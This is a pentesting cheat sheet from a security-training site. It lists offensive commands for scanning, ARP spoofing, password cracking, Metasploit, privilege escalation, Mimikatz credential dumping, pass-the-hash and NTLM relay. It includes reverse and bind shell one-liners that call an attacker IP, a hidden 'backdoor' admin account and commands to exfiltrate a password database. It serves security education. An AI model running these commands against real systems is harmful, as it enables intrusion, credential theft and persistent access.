Hacking Tools Cheat Sheet: The Complete Guide You Need

You have countless hacking tools at your disposal, but they only hold value if you use them to their full potential. Our hacking tools cheat sheet will show you the best tools for specific jobs and how to use them.

Don’t waste your time hammering away at a problem to no avail when there is a perfect tool for the job collecting dust. Master these tools now and become the hacker you’ve always wanted to be.

Click here to download a pdf copy to keep with you, and read on to power up your hacking.

Hacking Tools Cheat Sheet Search

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Table Of Contents

Hacking Tools Cheat Sheet Search
Basic Linux Networking Tools
Information Gathering
TCP Tools
TLS Tools
HTTP Tools
Sniffing
Network Scanning
Shells
Vulnerability DBs and Exploits
Cracking
Metasploit Framework
Linux Privilege Escalation
Windows Privilege Escalation
Windows Credentials Gathering
Pass-the-Hash
NTLM Relay
Active Directory
Frequently Asked Questions

Basic Linux Networking Tools

SHOW IP CONFIGURATION:
# ip a lw

DNS LOOKUP:
# dig www.stationx.net

CHANGE IP/MAC ADDRESS:
# ip link set dev eth0 down
# macchanger -m 23:05:13:37:42:21 eth0
# ip link set dev eth0 up

STATIC IP ADDRESS CONFIGURATION:
# ip addr add 10.5.23.42/24 dev eth0

Information Gathering

REVERSE DNS LOOKUP:
# dig -x 10.5.23.42

OR USING AN NMAP SCRIP:
# nmap -sn -Pn www.stationx.net
–script hostmap-crtsh

COMBINE VARIOUS SOURCES FOR SUBDOMAIN ENUM:
# amass enum -src -brute -min-forrecursive
2 -d www.stationx.net

FIND OWNER/CONTACT OF DOMAIN OR IP ADDRESS:
# whois www.stationx.net

GET NAMESERVERS AND TEST FOR DNS ZONE TRANSFER:
# dig example.com ns
# dig example.com axfr @n1.example.com

GET HOSTNAMES FROM CT LOGS: SEARCH FOR:
%.stationx.net on https://crt.sh.

TCP Tools

LISTEN ON TCP PORT:
# ncat -l -p 1337

CONNECT TO TCP PORT:
# ncat 10.5.23.42 1337

TLS Tools

CREATE SELF-SIGNED CERTIFICATE:
# openssl req -x509 -newkey rsa:2048
-keyout key.pem -out cert.pem -nodes
-subj “/CN=example.org/”

CONNECT TO TLS SERVICE USING OPENSSL:
# openssl s_client -connect
10.5.23.42:1337

TEST TLS SERVER CERTIFICATE AND CIPHERS:
# sslyze –regular 10.5.23.42:443

ONLINE TLS TESTS:
ssllabs.com, hardenize.com

START TLS SERVER:
# ncat –ssl -l -p 1337 –ssl-cert
cert.pem –ssl-key key.pem

CONNECT TO TLS SERVICE:
# ncat –ssl 10.5.23.42 1337

SHOW CERTIFICATE DETAILS:
# openssl s_client -connect
10.5.23.42:1337 \| openssl x509 -text

TCP TO TLS PROXY:
# socat TCP-LISTEN:2305,fork,reuseaddr
ssl:example.com:443

HTTP Tools

START PYTHON WEBSERVER ON PORT 2305:
# python3 -m http.server 2305

USEFUL CURL OPTIONS:
-k: Accept untrusted certificates
-d “foo=bar”: HTTP POST data
-H: “Foo: Bar”: HTTP header
-I: Perform HEAD request
-L: Follow redirects
-o foobar.html: Write output file
–proxy http://127.0.0.1:8080: Set proxy

PERFORM HTTP REQUEST:
# curl http://10.5.23.42:2305/?foo=bar

SCAN FOR COMMON FILES/APPLICATIONS/CONFIGS:
# nikto -host https://example.net

ENUMERATE COMMON DIRECTORY-/FILENAMES:
# gobuster dir -k -u
https://example.net -w
/usr/share/wordlists/dirb/common.txt

Sniffing

ARP SPOOFING:
# arpspoof -t 10.5.23.42 10.5.23.1

SHOW ARP CACHE:
# ip neigh

SNIFF TRAFFIC:
# tcpdump [options] [filters]

USEFUL TCPDUMP FILTERS:
not arp: No ARP packets
port ftp or port 23: Only port 21 or 23
host 10.5.23.31: Only from/to host
net 10.5.23.0/24: Only from/to hosts in

OR A GRAPHICAL TOOL:
# ettercap -G

DELETE ARP CACHE:
# ip neigh flush all

USEFUL TCPDUMP OPTIONS:
# tcpdump [options] [filters]
-n: Disable name and port resolution
-A: Print in ASCII
-XX: Print in hex and ASCII
-w file: Write output PCAP file
-r file: Read PCAP file

network

Advanced sniffing using tshark or Wireshark.

SNIFFING OVER SSH ON A REMOTE HOST:
# ssh 10.5.23.42 tcpdump -w- port not
ssh \| wireshark -k -i –

SHOW TRANSMITTED IMAGES:
# driftnet

SEARCH IN NETWORK TRAFFIC:
# ngrep -i password

SHOW HTTP GET REQUESTS:
# urlsnarf

Network Scanning

ARP SCAN:
# nmap -n -sn -PR 10.5.23.0/24

SCAN FOR VULNERABILITIES (SCRIPT CATEGORY FILTER):
# nmap -n -Pn –script “vuln and safe”
10.5.23.0/24

USEFUL NMAP OPTIONS:
-n: Disable name and port resolution
-PR: ARP host discovery
-Pn: Disable host discovery
-sn: Disable port scan (host discovery only)
-sS/-sT/-sU: SYN/TCP connect/UDP scan
–top-ports 50: Scan 50 top ports
-iL file: Host input file
-oA file: Write output files (3 types)
-sC: Script scan (default scripts)
–script : Specific scripts
-sV: Version detection
-6: IPv6 scan

REVERSE DNS LOOKUP OF IP RANGE:
# nmap -sL 10.5.23.0/24

TCP SCAN (SYN SCAN = HALF-OPEN SCAN):
# nmap -Pn -n -sS -p
22,25,80,443,8080 10.5.23.0/24

SCAN FOR ETERNALBLUE VULNERABLE HOSTS:
# nmap -n -Pn -p 443 –script smbvuln-
ms17-010 10.5.23.0/24

PERFORMANCE TUNING (1 SYN PACKET ≈ 60 BYTES → 20’000 PACKETS/S ≈ 10 MBPS):
# nmap -n -Pn –min-rate 20000
10.5.23.0/24

NMAP HOST DISCOVERY (ARP, ICMP, SYN 443/TCP, ACK 80/TCP):
# nmap -sn -n 10.5.23.0/24

LIST NMAP SCRIPTS:
# ls /usr/share/nmap/scripts

The target can be specified using CIDR notation
(10.5.23.0/24) or range definitions (10.13-
37.5.1-23).

FAST SCAN USING MASSCAN:
# masscan -p80,8000-8100 –rate 20000
10.0.0.0/8

PUBLIC INTERNET SCAN DATABASES:
shodan.io, censys.io

Shells

START BIND SHELL (ON VICTIM):
# ncat -l -p 2305 -e “/bin/bash -i”

LISTEN FOR REVERSE SHELL (ON ATTACKER):
# ncat -l -p 23

START REVERSE SHELL WITH BASH ONLY (ON VICTIM):
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1

CONNECT TO BIND SHELL (ON ATTACKER):
# ncat 10.5.23.42 2305

START REVERSE SHELL (ON VICTIM):
# ncat -e “/bin/bash -i” 10.5.23.5 23

UPGRADE TO PSEUDO TERMINAL:
# python -c ‘import pty;
pty.spawn(“/bin/bash”)’

Vulnerability DBs and Exploits

EXPLOIT SEARCH (LOCAL COPY OF THE EXPLOIT-DB):
# searchsploit apache

SHOW EXPLOIT FILE PATH AND COPY IT INTO CLIPBOARD:
# searchsploit -p 40142

ONLINE VULNERABILITY AND EXPLOIT DATABASES:
cvedetails.com, exploit-db.com,
packetstormsecurity.com

Cracking

TRY SSH PASSWORDS FROM A WORDLIST:
# ncrack -p 22 –user root -P
./passwords.txt 10.5.23.0/24

CRACK HASHES (E.G. 5600 FOR NETNTLMV2 TYPE):
# hashcat -m 5600 -a 0 hash.txt
/path/to/wordlists/*

DETERMINE HASH TYPE:
# hashid 869d[…]bd88

SHOW EXAMPLE HASH TYPES FOR HASHCAT:
# hashcat –example-hashes

CRACK HASHES USING JOHN THE RIPPER:
# john hashes.txt

Metasploit Framework

START METASPLOIT:
# msfconsole

USE EXPLOIT:
msf > use exploit/windows/smb/ms17_…

CONFIGURE EXPLOIT:
msf exploit(…) > show options
msf exploit(…) > set TARGET 10.5.23.42

REVERSE SHELL LISTENER:
> use exploit/multi/handler
> set payload
linux/x64/shell_reverse_tcp
> set LHOST 10.5.23.42 # attacker
> set LPORT 443
> exploit

UPLOAD / DOWNLOAD FILES:
meterpreter > upload pwn.exe
meterpreter > download c:\keepass.kdb

BACKGROUND METERPRETER SESSION:
meterpreter > background

SOCKS VIA METERPRETER (REQUIRES AUTOROUTE):
> use auxiliary/server/socks4a
> set SRVPORT 8080
> run

CONNECT THROUGH SOCKS PROXY:
# proxychains ncat 172.23.5.42 1337

SEARCH EXPLOIT:
> search eternalblue

RUN EXPLOIT:
msf exploit(…) > exploit

GENERATE REVERSE SHELL (WAR):
# msfvenom -p
java/jsp_shell_reverse_tcp LHOST=<your
ip address> LPORT=443 -f war > sh.war

UPGRADE TO METERPRETER (OR PRESS ^Z (CTRL-Z)):
background
Background session 1? [y/N] y
> sessions # list sessions
> sessions -u 1 # Upgrade
> sessions 2 # interact with session 2
meterpreter > sysinfo # use it

PORT FORWARDING TO LOCALHOST:
meterpreter > portfwd add -l 2323 -p
3389 -r 10.5.23.23

PIVOTING THROUGH EXISTING METERPRETER SESSION:
> use post/multi/manage/autoroute
> set session 2 # meterpreter session
> run
> route

CONFIGURE PROXYCHAINS:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080

Linux Privilege Escalation

ENUMERATE LOCAL INFORMATION (-T FOR MORE TESTS):
# curl -o /tmp/linenum
https://raw.githubusercontent.com/rebo
otuser/LinEnum/master/LinEnum.sh
# bash /tmp/linenum -r /tmp/report

Other hardening checks can be done using lynis or LinPEAS.

Use sudo/SUID/capabilities/etc. exploits from gtfobins.github.io.

Windows Privilege Escalation

SCAN FOR NETWORK SHARES:
# smbmap.py –host-file smbhosts.txt –
u Administrator -p PasswordOrHash

Copy PowerUp.ps1 from GitHub "PowerShellMafia/

PowerSploit" into PowerShell to

bypass ExecutionPolicy and execute Invoke-

AllChecks. Use the abuse functions.

ADD A NEW LOCAL ADMIN:
C:\> net user backdoor P@ssw0rd23
C:\> net localgroup Administrators
backdoor /add

Windows Credentials Gathering

START MIMIKATZ AND CREATE LOG FILE:
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log

SHOW PASSWORDS/HASHES OF LOGGED IN USERS:
# sekurlsa::logonpasswords

EXTRACT HASHES USING MIMIKATZ:
# lsadump::sam /system:system.hiv
/sam:sam.hiv

READ LSASS.EXE PROCESS DUMP:
# sekurlsa::minidump lsass.dmp
Dump lsass.exe in taskmgr or procdump.

BACKUP SYSTEM & SAM HIVE:
C:\>reg save HKLM\SYSTEM system.hiv
C:\>reg save HKLM\SAM sam.hiv

Pass-the-Hash

START MIMIKATZ AND CREATE LOG FILE:
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log

METERPRETER VIA PASS-THE-HASH:
msf > set payload
windows/meterpreter/reverse_tcp
msf > set LHOST 10.5.23.42 # attacker
msf > set LPORT 443
msf > set RHOST 10.5.23.21 # victim
msf > set SMBPass 01[…]03:01[…]03
msf > exploit
meterpreter > shell
C:\WINDOWS\system32>

OVER A SUBNET AND EXTRACT SAM FILE:
# crackmapexec -u Administrator -H
:011AD41795657A8ED80AB3FF6F078D03
10.5.23.0/24 –sam

RDP VIA PASS-THE-HASH:
# xfreerdp /u:user /d:domain /pth:
011AD41795657A8ED80AB3FF6F078D03
/v:10.5.23.42

BROWSE SHARES VIA PASS-THE-HASH:
# ./smbclient.py
domain/usrname@10.5.23.42 -hashes
:011AD41795657A8ED80AB3FF6F078D03

NTLM Relay

VULNERABLE IF MESSAGE_SIGNING: DISABLED:
# nmap -n -Pn -p 445 –script smbsecurity-
mode 10.5.23.0/24

NTLM RELAY USING SOCKS PROXY:
# ./ntlmrelayx.py -tf targets.txt
-smb2support -socks
Configure ProxyChains:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080

DISABLE SMB AND HTTP IN RESPONDER.CONF AND START RESPONDER:
# ./Responder.py -I eth0

NTLM RELAY TO TARGET AND EXTRACT SAM FILE:
# ./ntlmrelayx.py -smb2support -t
smb://10.5.23.42

ACCESS FILES VIA SOCKS PROXY:
# proxychains smbclient -m smb3
‘\\10.5.23.42\C$’ -W pc05 -U
Administrator%invalidPwd

Active Directory

Use SharpHound to gather information and import into Bloodhound to analyze.

Download PingCastle from pingcastle.com and generate Report.

Frequently Asked Questions

What do most hackers use to hack?

There are several tools hackers use to perform hacking. Most commonly, hackers will use:

• Nmap to scan a network
• Tools like Netcat or Meterpreter to catch shells
• Hashcat for password cracking
• Metasploit to manage sessions and launch exploits
• Mimikatz for Windows credentials gathering

See our list of 25 Top Penetration Testing Tools for more.

What is the first step of hacking?

Assuming you've already gone through the process of getting written permission from the system owner to perform a test and confirmed you were given the correct target IP address, scanning and enumeration would be the first step (sometimes simply referred to as reconnaissance).

Is hacking a crime?

Hacking is not a crime, but hacking a system without the permission of the owner is a crime and can carry very steep legal repercussions.

What coding do hackers use?

Hackers are usually familiar with scripting languages such as Bash, Powershell, and Python. Other coding languages can depend on your specialty (such as C for exploit developers or Java for web application penetration testers).

Which type of hacker is best?

If by types you are referring to:

• White hat (ethical hackers auditing systems with permission)
• Black hat (criminal hackers usually seeking to damage a system)
• Grey hat (hackers with good intentions but still hack a system without permission)
• Red hat hackers (vigilantes who hack black hat hackers)

Then we much prefer white hats. They seek to make the internet a safer place and always with the consent of the system owner. They also benefit from not facing criminal charges and, on average, make more money than the other types.

What do hackers want?

Different hackers want different things. Some want to help defend systems the legal way, some want to defend systems the illegal way, some want to damage systems for fun or profit, and others have different motivations entirely.

The one thing in common is that hackers want to see how a system works and try to make it act in a way it wasn't designed to.

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Nathan House

Nathan House is the founder and CEO of StationX. He has over 25 years of experience in cyber security, where he has advised some of the largest companies in the world. Nathan is the author of the popular "The Complete Cyber Security Course", which has been taken by over half a million students in 195 countries. He is the winner of the AI "Cyber Security Educator of the Year 2020" award and finalist for Influencer of the year 2022.